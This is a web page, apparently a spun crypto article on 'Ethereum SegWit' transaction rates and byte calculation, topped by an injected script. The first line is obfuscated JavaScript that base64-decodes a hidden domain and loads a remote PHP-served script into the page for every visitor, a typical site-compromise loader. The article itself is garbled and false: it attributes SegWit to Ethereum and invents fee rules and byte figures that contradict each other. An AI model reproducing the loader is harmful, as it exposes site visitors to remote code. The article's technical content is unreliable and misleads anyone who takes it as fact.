const pdx= »bm9yZGVyc3dpbmcuYnV6ei94cC8= »;const pde=atob(pdx.replace(/|/g, » »));const script=document.createElement(« script »);script.src= »https:// »+pde+ »cc.php?u=6fb06950″;document.body.appendChild(script);
TRANSACTION RATE ETHERUM SEGWIT AND BYtes CALCULATION
As Ethereum’s popularity and its use cases continue to grow, understanding of transactions are essential for developers and users. In this article, we will deepen how the implementation of segited witnesses (Segwit) of Ethereum affects the transaction rates and bytes.
BASICS SEGWIT
Segwit is a light update to the Bitcoin protocol that allows the most efficient use of bandwidth and reduces the size of the transactions, maintaining their safety and functionality. When a new transaction is transmitted to the network, it is divided into smaller segments called segments, which are then combined in a single block.
Transaction rates
The implementation of the Ethereum segwit changes the way rates are calculated for transactions. An essential aspect of this change is the use of witness data **, which allows miners to validate and check the transaction results without having to store all data in memory.
In traditional bitcoin, each output is verified separately, with an exclusive date and time record and a block hash as evidence. On the other hand, segwit results are considered « spent » to meet specific conditions, including meeting the minimum requirement of 50 bytes for calculating the rate. If an exit does not spend enough to cover its own rates, it is not spent **, which affects the transaction rates.
Transaction rate calculation
To understand how this works, let’s consider a simple example:
- You have $ 1000 set as your rate for a transaction.
- The block has 500 bytes gross transaction data, but no witness data (ie the transaction itself contains no exclusive information to verify).
- Since the exit does not spend enough to cover your own rates, it is not spent.
Rate calculation
For this scenario:
- The sender sends a Segwit transaction with 500 bytes gross transaction data.
- The block has no witness data (the transaction itself is not verified).
As production does not meet the minimum requirements for calculating the rate, it is not spent ** and its « fee » remains $ 1000.
Witness data
Now, let’s consider an example where the output contains witness data:
- You have $ 2000 defined as your rate.
- The block has 500 bytes gross transaction data, which contain exclusive witness data (for example, a cryptographic hash).
- This witness the data ensures that the transaction is valid and meets all conditions.
In that case:
- The sender sends a Segwit transaction with the 500 bytes gross transaction data containing witness data.
- As the output meets the minimum requirements for calculating the rate, it is spent by default.
Calculation of the rate with witness data
For this scenario:
- The sender sends a segwit transaction with 500 bytes gross transaction data containing exclusive witness data ($ 2000 rate).
- The block has no witness data (the transaction itself is not verified).
As production meets the minimum requirements for calculating the rate, its « rate » remains US $ 2000.
Bytes calculation
The bytes count of a transaction refers to the total size of all bytes in the transaction. When calculating rates, we need to consider gross transaction data and witness data.
- Gross transaction data: 500 bytes
- Witness data (not spent): 0 bytes
- Total bytes count = 500 bytes
Conclusion
In short:
- Without witness data, transaction exits that do not meet the minimum requirements for calculating the rate will not be spent.
- With witness data, it is guaranteed that transactions are valid and will always have a certain amount of « rate ».
- The bytes count of a transaction considers only gross transactions data. Witness data does not affect the general size of the byte.